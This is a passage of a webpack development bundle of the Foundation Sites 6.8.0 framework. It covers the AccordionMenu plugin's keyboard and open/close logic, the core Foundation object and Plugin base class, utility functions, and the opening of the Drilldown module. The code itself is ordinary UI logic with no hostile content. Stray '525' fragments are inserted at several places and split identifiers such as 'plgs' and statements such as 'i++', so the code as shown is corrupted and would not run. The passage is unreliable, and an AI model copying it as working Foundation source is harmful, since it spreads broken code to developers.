jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('.submenu-toggle').off('click.zf.accordionMenu').on('click.zf.accordionMenu', function () {\n              _this.toggle($submenu);\n            });\n          } else {\n            jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('a').off('click.zf.accordionMenu').on('click.zf.accordionMenu', function (e) {\n              e.preventDefault();\n              _this.toggle($submenu);\n            });\n          }\n        }\n      }).on('keydown.zf.accordionMenu', function (e) {\n        var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n          $elements = $element.parent('ul').children('li'),\n          $prevElement,\n          $nextElement,\n          $target = $element.children('[data-submenu]');\n        $elements.each(function (i) {\n          if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n            $prevElement = $elements.eq(Math.max(0, i - 1)).find('a').first();\n            $nextElement = $elements.eq(Math.min(i + 1, $elements.length - 1)).find('a').first();\n            if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('[data-submenu]:visible').length) {\n              // has open sub menu\n              $nextElement = $element.find('li:first-child').find('a').first();\n            }\n            if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':first-child')) {\n              // is first element of sub menu\n              $prevElement = $element.parents('li').first().find('a').first();\n            } else if ($prevElement.parents('li').first().children('[data-submenu]:visible').length) {\n              // if previous element has open sub menu\n              $prevElement = $prevElement.parents('li').find('li:last-child').find('a').first();\n            }\n            if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':last-child')) {\n              // is last element of sub menu\n              $nextElement = $element.parents('li').first().next('li').find('a').first();\n            }\n            return;\n          }\n        });\n        _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__.Keyboard.handleKey(e, 'AccordionMenu', {\n          open: function open() {\n            if ($target.is(':hidden')) {\
525n              _this.down($target);\n              $target.find('li').first().find('a').first().focus();\n            }\n          },\n          close: function close() {\n            if ($target.length && !$target.is(':hidden')) {\n              // close active sub of this item\n              _this.up($target);\n            } else if ($element.parent('[data-submenu]').length) {\n              // close currently open sub\n              _this.up($element.parent('[data-submenu]'));\n              $element.parents('li').first().find('a').first().focus();\n            }\n          },\n          up: function up() {\n            $prevElement.focus();\n            return true;\n          },\n          down: function down() {\n            $nextElement.focus();\n            return true;\n          },\n          toggle: function toggle() {\n            if (_this.options.submenuToggle) {\n              return false;\n            }\n            if ($element.children('[data-submenu]').length) {\n              _this.toggle($element.children('[data-submenu]'));\n              return true;\n            }\n          },\n          closeAll: function closeAll() {\n            _this.hideAll();\n          },\n          handled: function handled(preventDefault) {\n            if (preventDefault) {\n              e.preventDefault();\n            }\n          }\n        });\n      }); //.attr('tabindex', 0);\n    }\n\n    /**\n     * Closes all panes of the menu.\n     * @function\n     */\n  }, {\n    key: \"hideAll\",\n    value: function hideAll() {\n      this.up(this.$element.find('[data-submenu]'));\n    }\n\n    /**\n     * Opens all panes of the menu.\n     * @function\n     */\n  }, {\n    key: \"showAll\",\n    value: function showAll() {\n      this.down(this.$element.find('[data-submenu]'));\n    }\n\n    /**\n     * Toggles the open/close state of a submenu.\n     * @function\n     * @param {jQuery} $target - the submenu to toggle\n     */\n  }, {\n    key: \"toggle\",\n    value: function toggle($target) {\n      if (!$target.is(':animated')) {\n        if (!$target.is(':hidden')) {\n          this.up($target);\n        } else {\n          this.down($target);\n        }\n      }\n    }\n\n    /**\n     * Opens the sub-menu defined by `$target`.\n     * @param {jQuery} $target - Sub-menu to open.\n     * @fires AccordionMenu#down\n     */\n  }, {\n    key: \"down\",\n    value: function down($target) {\n      var _this2 = this;\n      // If having multiple submenus active is disabled, close all the submenus\n      // that are not parents or children of the targeted submenu.\n      if (!this.options.multiOpen) {\n        // The \"branch\" of the targetted submenu, from the component root to\n        // the active submenus nested in it.\n        var $targetBranch = $target.parentsUntil(this.$element).add($target).add($target.find('.is-active'));\n        // All the active submenus that are not in the branch.\n        var $othersActiveSubmenus = this.$element.find('.is-active').not($targetBranch);\n        this.up($othersActiveSubmenus);\n      }\n      $target.addClass('is-active').attr({\n        'aria-hidden': false\n      });\n      if (this.options.submenuToggle) {\n        $target.prev('.submenu-toggle').attr({\n          'aria-expanded': true\n        });\n      } else {\n        $target.parent('.is-accordion-submenu-parent').attr({\n          'aria-expanded': true\n        });\n      }\n      $target.slideDown(this.options.slideSpeed, function () {\n        /**\n         * Fires when the menu is done opening.\n         * @event AccordionMenu#down\n         */\n        _this2.$element.trigger('down.zf.accordionMenu', [$target]);\n      });\n    }\n\n    /**\n     * Closes the sub-menu defined by `$target`. All sub-menus inside the target will be closed as well.\n     * @param {jQuery} $target - Sub-menu to close.\n     * @fires AccordionMenu#up\n     */\n  }, {\n    key: \"up\",\n    value: function up($target) {\n      var _this3 = this;\n      var $submenus = $target.find('[data-submenu]');\n      var $allmenus = $target.add($submenus);\n      $submenus.slideUp(0);\n      $allmenus.removeClass('is-active').attr('aria-hidden', true);\n      if (this.options.submenuToggle) {\n        $allmenus.prev('.submenu-toggle').attr('aria-expanded', false);\n      } else {\n        $allmenus.parent('.is-accordion-submenu-parent').attr('aria-expanded', false);\n      }\n      $target.slideUp(this.options.slideSpeed, function () {\n        /**\n         * Fires when the menu is done collapsing up.\n         * @event AccordionMenu#up\n         */\n        _this3.$element.trigger('up.zf.accordionMenu', [$target]);\n      });\n    }\n\n    /**\n     * Destroys an instance of accordion menu.\n     * @fires AccordionMenu#destroyed\n     */\n  }, {\n    key: \"_destroy\",\n    value: function _destroy() {\n      this.$element.find('[data-submenu]').slideDown(0).css('display', '');\n      this.$element.find('a').off('click.zf.accordionMenu');\n      this.$element.find('[data-is-parent-link]').detach();\n      if (this.options.submenuToggle) {\n        this.$element.find('.has-submenu-toggle').removeClass('has-submenu-toggle');\n        this.$element.find('.submenu-toggle').remove();\n      }\n      _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__.Nest.Burn(this.$element, 'accordion');\n    }\n  }]);\n  return AccordionMenu;\n}
525(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__.Plugin);\nAccordionMenu.defaults = {\n  /**\n   * Adds the parent link to the submenu.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  parentLink: false,\n  /**\n   * Amount of time to animate the opening of a submenu in ms.\n   * @option\n   * @type {number}\n   * @default 250\n   */\n  slideSpeed: 250,\n  /**\n   * Adds a separate submenu toggle button. This allows the parent item to have a link.\n   * @option\n   * @example true\n   */\n  submenuToggle: false,\n  /**\n   * The text used for the submenu toggle if enabled. This is used for screen readers only.\n   * @option\n   * @example true\n   */\n  submenuToggleText: 'Toggle menu',\n  /**\n   * Allow the menu to have multiple open panes.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  multiOpen: true\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.accordionMenu.js?")},"./js/foundation.core.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Foundation: function() { return /* binding */ Foundation; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\n\n\n\nvar FOUNDATION_VERSION = '6.8.0';\n\n// Global Foundation object\n// This is attached to the window, or used as a module for AMD/Browserify\nvar Foundation = {\n  version: FOUNDATION_VERSION,\n  /**\n   * Stores initialized plugins.\n   */\n  _plugins: {},\n  /**\n   * Stores generated unique ids for plugin instances\n   */\n  _uuids: [],\n  /**\n   * Defines a Foundation plugin, adding it to the `Foundation` namespace and the list of plugins to initialize when reflowing.\n   * @param {Object} plugin - The constructor of the plugin.\n   */\n  plugin: function plugin(_plugin, name) {\n    // Object key to use when adding to global Foundation object\n    // Examples: Foundation.Reveal, Foundation.OffCanvas\n    var className = name || functionName(_plugin);\n    // Object key to use when storing the plugin, also used to create the identifying data attribute for the plugin\n    // Examples: data-reveal, data-off-canvas\n    var attrName = hyphenate(className);\n\n    // Add to the Foundation object and the plugins list (for reflowing)\n    this._plugins[attrName] = this[className] = _plugin;\n  },\n  /**\n   * @function\n   * Populates the _uuids array with pointers to each individual plugin instance.\n   * Adds the `zfPlugin` data-attribute to programmatically created plugins to allow use of $(selector).foundation(method) calls.\n   * Also fires the initialization event for each plugin, consolidating repetitive code.\n   * @param {Object} plugin - an instance of a plugin, usually `this` in context.\n   * @param {String} name - the name of the plugin, passed as a camelCased string.\n   * @fires Plugin#init\n   */\n  registerPlugin: function registerPlugin(plugin, name) {\n    var pluginName = name ? hyphenate(name) : functionName(plugin.constructor).toLowerCase();\n    plugin.uuid = (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__.GetYoDigits)(6, pluginName);\n    if (!plugin.$element.attr(\"data-\".concat(pluginName))) {\n      plugin.$element.attr(\"data-\".concat(pluginName), plugin.uuid);\n    }\n    if (!plugin.$element.data('zfPlugin')) {\n      plugin.$element.data('zfPlugin', plugin);\n    }\n    /**\n     * Fires when the plugin has initialized.\n     * @event Plugin#init\n     */\n    plugin.$element.trigger(\"init.zf.\".concat(pluginName));\n    this._uuids.push(plugin.uuid);\n    return;\n  },\n  /**\n   * @function\n   * Removes the plugins uuid from the _uuids array.\n   * Removes the zfPlugin data attribute, as well as the data-plugin-name attribute.\n   * Also fires the destroyed event for the plugin, consolidating repetitive code.\n   * @param {Object} plugin - an instance of a plugin, usually `this` in context.\n   * @fires Plugin#destroyed\n   */\n  unregisterPlugin: function unregisterPlugin(plugin) {\n    var pluginName = hyphenate(functionName(plugin.$element.data('zfPlugin').constructor));\n    this._uuids.splice(this._uuids.indexOf(plugin.uuid), 1);\n    plugin.$element.removeAttr(\"data-\".concat(pluginName)).removeData('zfPlugin')\n    /**\n     * Fires when the plugin has been destroyed.\n     * @event Plugin#destroyed\n     */.trigger(\"destroyed.zf.\".concat(pluginName));\n    for (var prop in plugin) {\n      if (typeof plugin[prop] === 'function') {\n        plugin[prop] = null; //clean up script to prep for garbage collection.\n      }\n    }\n\n    return;\n  },\n  /**\n   * @function\n   * Causes one or more active plugins to re-initialize, resetting event listeners, recalculating positions, etc.\n   * @param {String} plugins - optional string of an individual plugin key, attained by calling `$(element).data('pluginName')`, or string of a plugin class i.e. `'dropdown'`\n   * @default If no argument is passed, reflow all currently active plugins.\n   */\n  reInit: function reInit(plugins) {\n    var isJQ = plugins instanceof (jquery__WEBPACK_IMPORTED_MODULE_0___default());\n    try {\n      if (isJQ) {\n        plugins.each(function () {\n          jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('zfPlugin')._init();\n        });\n      } else {\n        var type = _typeof(plugins),\n          _this = this,\n          fns = {\n            'object': function object(plgs) {\n              plg
525s.forEach(function (p) {\n                p = hyphenate(p);\n                jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-' + p + ']').foundation('_init');\n              });\n            },\n            'string': function string() {\n              plugins = hyphenate(plugins);\n              jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-' + plugins + ']').foundation('_init');\n            },\n            'undefined': function undefined() {\n              this.object(Object.keys(_this._plugins));\n            }\n          };\n        fns[type](plugins);\n      }\n    } catch (err) {\n      console.error(err);\n    } finally {\n      return plugins;\n    }\n  },\n  /**\n   * Initialize plugins on any elements within `elem` (and `elem` itself) that aren't already initialized.\n   * @param {Object} elem - jQuery object containing the element to check inside. Also checks the element itself, unless it's the `document` object.\n   * @param {String|Array} plugins - A list of plugins to initialize. Leave this out to initialize everything.\n   */\n  reflow: function reflow(elem, plugins) {\n    // If plugins is undefined, just grab everything\n    if (typeof plugins === 'undefined') {\n      plugins = Object.keys(this._plugins);\n    }\n    // If plugins is a string, convert it to an array with one item\n    else if (typeof plugins === 'string') {\n      plugins = [plugins];\n    }\n    var _this = this;\n\n    // Iterate through each plugin\n    jquery__WEBPACK_IMPORTED_MODULE_0___default().each(plugins, function (i, name) {\n      // Get the current plugin\n      var plugin = _this._plugins[name];\n\n      // Localize the search to all elements inside elem, as well as elem itself, unless elem === document\n      var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(elem).find('[data-' + name + ']').addBack('[data-' + name + ']').filter(function () {\n        return typeof jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data(\"zfPlugin\") === 'undefined';\n      });\n\n      // For each plugin found, initialize it\n      $elem.each(function () {\n        var $el = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n          opts = {\n            reflow: true\n          };\n        if ($el.attr('data-options')) {\n          $el.attr('data-options').split(';').forEach(function (option) {\n            var opt = option.split(':').map(function (el) {\n              return el.trim();\n            });\n            if (opt[0]) opts[opt[0]] = parseValue(opt[1]);\n          });\n        }\n        try {\n          $el.data('zfPlugin', new plugin(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), opts));\n        } catch (er) {\n          console.error(er);\n        } finally {\n          return;\n        }\n      });\n    });\n  },\n  getFnName: functionName,\n  addToJquery: function addToJquery() {\n    // TODO: consider not making this a jQuery function\n    // TODO: need way to reflow vs. re-initialize\n    /**\n     * The Foundation jQuery method.\n     * @param {String|Array} method - An action to perform on the current jQuery object.\n     */\n    var foundation = function foundation(method) {\n      var type = _typeof(method),\n        $noJS = jquery__WEBPACK_IMPORTED_MODULE_0___default()('.no-js');\n      if ($noJS.length) {\n        $noJS.removeClass('no-js');\n      }\n      if (type === 'undefined') {\n        //needs to initialize the Foundation object, or an individual plugin.\n        _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__.MediaQuery._init();\n        Foundation.reflow(this);\n      } else if (type === 'string') {\n        //an individual method to invoke on a plugin or group of plugins\n        var args = Array.prototype.slice.call(arguments, 1); //collect all the arguments, if necessary\n        var plugClass = this.data('zfPlugin'); //determine the class of plugin\n\n        if (typeof plugClass !== 'undefined' && typeof plugClass[method] !== 'undefined') {\n          //make sure both the class and method exist\n          if (this.length === 1) {\n            //if there's only one, call it directly.\n            plugClass[method].apply(
525plugClass, args);\n          } else {\n            this.each(function (i, el) {\n              //otherwise loop through the jQuery collection and invoke the method on each\n              plugClass[method].apply(jquery__WEBPACK_IMPORTED_MODULE_0___default()(el).data('zfPlugin'), args);\n            });\n          }\n        } else {\n          //error for no class or no method\n          throw new ReferenceError(\"We're sorry, '\" + method + \"' is not an available method for \" + (plugClass ? functionName(plugClass) : 'this element') + '.');\n        }\n      } else {\n        //error for invalid argument type\n        throw new TypeError(\"We're sorry, \".concat(type, \" is not a valid parameter. You must use a string representing the method you wish to invoke.\"));\n      }\n      return this;\n    };\n    (jquery__WEBPACK_IMPORTED_MODULE_0___default().fn).foundation = foundation;\n    return (jquery__WEBPACK_IMPORTED_MODULE_0___default());\n  }\n};\nFoundation.util = {\n  /**\n   * Function for applying a debounce effect to a function call.\n   * @function\n   * @param {Function} func - Function to be called at end of timeout.\n   * @param {Number} delay - Time in ms to delay the call of `func`.\n   * @returns function\n   */\n  throttle: function throttle(func, delay) {\n    var timer = null;\n    return function () {\n      var context = this,\n        args = arguments;\n      if (timer === null) {\n        timer = setTimeout(function () {\n          func.apply(context, args);\n          timer = null;\n        }, delay);\n      }\n    };\n  }\n};\nwindow.Foundation = Foundation;\n\n// Polyfill for requestAnimationFrame\n(function () {\n  if (!Date.now || !window.Date.now) window.Date.now = Date.now = function () {\n    return new Date().getTime();\n  };\n  var vendors = ['webkit', 'moz'];\n  for (var i = 0; i < vendors.length && !window.requestAnimationFrame; ++i) {\n    var vp = vendors[i];\n    window.requestAnimationFrame = window[vp + 'RequestAnimationFrame'];\n    window.cancelAnimationFrame = window[vp + 'CancelAnimationFrame'] || window[vp + 'CancelRequestAnimationFrame'];\n  }\n  if (/iP(ad|hone|od).*OS 6/.test(window.navigator.userAgent) || !window.requestAnimationFrame || !window.cancelAnimationFrame) {\n    var lastTime = 0;\n    window.requestAnimationFrame = function (callback) {\n      var now = Date.now();\n      var nextTime = Math.max(lastTime + 16, now);\n      return setTimeout(function () {\n        callback(lastTime = nextTime);\n      }, nextTime - now);\n    };\n    window.cancelAnimationFrame = clearTimeout;\n  }\n  /**\n   * Polyfill for performance.now, required by rAF\n   */\n  if (!window.performance || !window.performance.now) {\n    window.performance = {\n      start: Date.now(),\n      now: function now() {\n        return Date.now() - this.start;\n      }\n    };\n  }\n})();\nif (!Function.prototype.bind) {\n  /* eslint-disable no-extend-native */\n  Function.prototype.bind = function (oThis) {\n    if (typeof this !== 'function') {\n      // closest thing possible to the ECMAScript 5\n      // internal IsCallable function\n      throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');\n    }\n    var aArgs = Array.prototype.slice.call(arguments, 1),\n      fToBind = this,\n      fNOP = function fNOP() {},\n      fBound = function fBound() {\n        return fToBind.apply(this instanceof fNOP ? this : oThis, aArgs.concat(Array.prototype.slice.call(arguments)));\n      };\n    if (this.prototype) {\n      // native functions don't have a prototype\n      fNOP.prototype = this.prototype;\n    }\n    fBound.prototype = new fNOP();\n    return fBound;\n  };\n}\n// Polyfill to get the name of a function in IE9\nfunction functionName(fn) {\n  if (typeof Function.prototype.name === 'undefined') {\n    var funcNameRegex = /function\\s([^(]{1,})\\(/;\n    var results = funcNameRegex.exec(fn.toString());\n    return results && results.length > 1 ? results[1].trim() : \"\";\n  } else if (typeof fn.prototype === 'undefined') {\n    return fn.constructor.name;\n  } else {\n    return fn.prototype.constructor.name;\n  }\n}\nfunction parseValue(str) {\n  if ('true' === str) return true;else if ('false' === str) return false;else if (!isNaN(str * 1)) return parseFloat(str);\n  return str;\n}\n// Convert PascalCase to kebab-case\n// Thank you: http://stackoverflow.com/a/8955580\nfunction hyphenate(str) {\n  return str.replace(/([a-z])([A-Z])/g, '$1-$2').toLowerCase();\n}\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.core.js?")},"./js/foundation.core.plugin.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Plugin: function() { return /* binding */ Plugin; }\n/* harmony export */ });\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\nfunction _typeof(obj) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, "prototype", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, "string");
525 return _typeof(key) === "symbol" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== "object" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || "default"); if (_typeof(res) !== "object") return res; throw new TypeError("@@toPrimitive must return a primitive value."); } return (hint === "string" ? String : Number)(input); }\n\n\n// Abstract class for providing lifecycle hooks. Expect plugins to define AT LEAST\n// {function} _setup (replaces previous constructor),\n// {function} _destroy (replaces previous destroy)\nvar Plugin = /*#__PURE__*/function () {\n  function Plugin(element, options) {\n    _classCallCheck(this, Plugin);\n    this._setup(element, options);\n    var pluginName = getPluginName(this);\n    this.uuid = (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__.GetYoDigits)(6, pluginName);\n    if (!this.$element.attr("data-".concat(pluginName))) {\n      this.$element.attr("data-".concat(pluginName), this.uuid);\n    }\n    if (!this.$element.data(\'zfPlugin\')) {\n      this.$element.data(\'zfPlugin\', this);\n    }\n    /**\n     * Fires when the plugin has initialized.\n     * @event Plugin#init\n     */\n    this.$element.trigger("init.zf.".concat(pluginName));\n  }\n  _createClass(Plugin, [{\n    key: "destroy",\n    value: function destroy() {\n      this._destroy();\n      var pluginName = getPluginName(this);\n      this.$element.removeAttr("data-".concat(pluginName)).removeData(\'zfPlugin\')\n      /**\n       * Fires when the plugin has been destroyed.\n       * @event Plugin#destroyed\n       */.trigger("destroyed.zf.".concat(pluginName));\n      for (var prop in this) {\n        if (this.hasOwnProperty(prop)) {\n          this[prop] = null; //clean up script to prep for garbage collection.\n        }\n      }\n    }\n  }]);\n  return Plugin;\n}(); // Convert PascalCase to kebab-case\n// Thank you: http://stackoverflow.com/a/8955580\nfunction hyphenate(str) {\n  return str.replace(/([a-z])([A-Z])/g, \'$1-$2\').toLowerCase();\n}\nfunction getPluginName(obj) {\n  return hyphenate(obj.className);\n}\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.core.plugin.js?')},"./js/foundation.core.utils.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   GetYoDigits: function() { return /* binding */ GetYoDigits; },\n/* harmony export */   RegExpEscape: function() { return /* binding */ RegExpEscape; },\n/* harmony export */   ignoreMousedisappear: function() { return /* binding */ ignoreMousedisappear; },\n/* harmony export */   onLoad: function() { return /* binding */ onLoad; },\n/* harmony export */   rtl: function() { return /* binding */ rtl; },\n/* harmony export */   transitionend: function() { return /* binding */ transitionend; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\n// Core Foundation Utilities, utilized in a number of places.\n\n/**\n * Returns a boolean for RTL support\n */\nfunction rtl() {\n  return jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').attr('dir') === 'rtl';\n}\n\n/**\n * returns a random base-36 uid with namespacing\n * @function\n * @param {Number} length - number of random base-36 digits desired. Increase for more random strings.\n * @param {String} namespace - name of plugin to be incorporated in uid, optional.\n * @default {String} '' - if no plugin name is provided, nothing is appended to the uid.\n * @returns {String} - unique id\n */\nfunction GetYoDigits() {\n  var length = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 6;\n  var namespace = arguments.length > 1 ? arguments[1] : undefined;\n  var str = '';\n  var chars = '0123456789abcdefghijklmnopqrstuvwxyz';\n  var charsLength = chars.length;\n  for (var i = 0; i < length;
525 i++) {\n    str += chars[Math.floor(Math.random() * charsLength)];\n  }\n  return namespace ? \"\".concat(str, \"-\").concat(namespace) : str;\n}\n\n/**\n * Escape a string so it can be used as a regexp pattern\n * @function\n * @see https://stackoverflow.com/a/9310752/4317384\n *\n * @param {String} str - string to escape.\n * @returns {String} - escaped string\n */\nfunction RegExpEscape(str) {\n  return str.replace(/[-[\\]{}()*+?.,\\\\^$|#\\s]/g, '\\\\$&');\n}\nfunction transitionend($elem) {\n  var transitions = {\n    'transition': 'transitionend',\n    'WebkitTransition': 'webkitTransitionEnd',\n    'MozTransition': 'transitionend',\n    'OTransition': 'otransitionend'\n  };\n  var elem = document.createElement('div'),\n    end;\n  for (var transition in transitions) {\n    if (typeof elem.style[transition] !== 'undefined') {\n      end = transitions[transition];\n    }\n  }\n  if (end) {\n    return end;\n  } else {\n    setTimeout(function () {\n      $elem.triggerHandler('transitionend', [$elem]);\n    }, 1);\n    return 'transitionend';\n  }\n}\n\n/**\n * Return an event type to listen for window load.\n *\n * If `$elem` is passed, an event will be triggered on `$elem`. If window is already loaded, the event will still be triggered.\n * If `handler` is passed, attach it to the event on `$elem`.\n * Calling `onLoad` without handler allows you to get the event type that will be triggered before attaching the handler by yourself.\n * @function\n *\n * @param {Object} [] $elem - jQuery element on which the event will be triggered if passed.\n * @param {Function} [] handler - function to attach to the event.\n * @returns {String} - event type that should or will be triggered.\n */\nfunction onLoad($elem, handler) {\n  var didLoad = document.readyState === 'complete';\n  var eventType = (didLoad ? '_didLoad' : 'load') + '.zf.util.onLoad';\n  var cb = function cb() {\n    return $elem.triggerHandler(eventType);\n  };\n  if ($elem) {\n    if (handler) $elem.one(eventType, handler);\n    if (didLoad) setTimeout(cb);else jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).one('load', cb);\n  }\n  return eventType;\n}\n\n/**\n * Retuns an handler for the `mouseleave` that ignore disappeared mouses.\n *\n * If the mouse \"disappeared\" from the document (like when going on a browser UI element, See https://git.io/zf-11410),\n * the event is ignored.\n * - If the `ignoreLeaveWindow` is `true`, the event is ignored when the user actually left the window\n *   (like by switching to an other window with [Alt]+[Tab]).\n * - If the `ignoreReappear` is `true`, the event will be ignored when the mouse will reappear later on the document\n *   outside of the element it left.\n *\n * @function\n *\n * @param {Function} [] handler - handler for the filtered `mouseleave` event to watch.\n * @param {Object} [] options - object of options:\n * - {Boolean} [false] ignoreLeaveWindow - also ignore when the user switched windows.\n * - {Boolean} [false] ignoreReappear - also ignore when the mouse reappeared outside of the element it left.\n * @returns {Function} - filtered handler to use to listen on the `mouseleave` event.\n */\nfunction ignoreMousedisappear(handler) {\n  var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {},\n    _ref$ignoreLeaveWindo = _ref.ignoreLeaveWindow,\n    ignoreLeaveWindow = _ref$ignoreLeaveWindo === void 0 ? false : _ref$ignoreLeaveWindo,\n    _ref$ignoreReappear = _ref.ignoreReappear,\n    ignoreReappear = _ref$ignoreReappear === void 0 ? false : _ref$ignoreReappear;\n  return function leaveEventHandler(eLeave) {\n    for (var _len = arguments.length, rest = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {\n      rest[_key - 1] = arguments[_key];\n    }\n    var callback = handler.bind.apply(handler, [this, eLeave].concat(rest));\n\n    // The mouse left: call the given callback if the mouse entered elsewhere\n    if (eLeave.relatedTarget !== null) {\n      return callback();\n    }\n\n    // Otherwise, check if the mouse actually left the window.\n    // In firefox if the user switched between windows, the window sill have the focus by the time\n    // the event is triggered. We have to debounce the event to test this case.\n    setTimeout(function leaveEventDebouncer() {\n      if (!ignoreLeaveWindow && document.hasFocus && !document.hasFocus()) {\n        return callback();\n      }\n\n      // Otherwise, wait for the mouse to reeapear outside of the element,\n      if (!ignoreReappear) {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).one('mouseenter', function reenterEventHandler(eReenter) {\n          if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(eLeave.currentTarget).has(eReenter.target).length) {\n            // Fill where the mouse finally entered.\n            eLeave.relatedTarget = eReenter.target;\n            callback();\n          }\n        });\n      }\n    }, 0);\n  };\n}\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.core.utils.js?")},"./js/foundation.drilldown.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Drilldown: function() { return /* binding */ Drilldown; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_box__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.box */ \"./js/foundation.util.box.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof 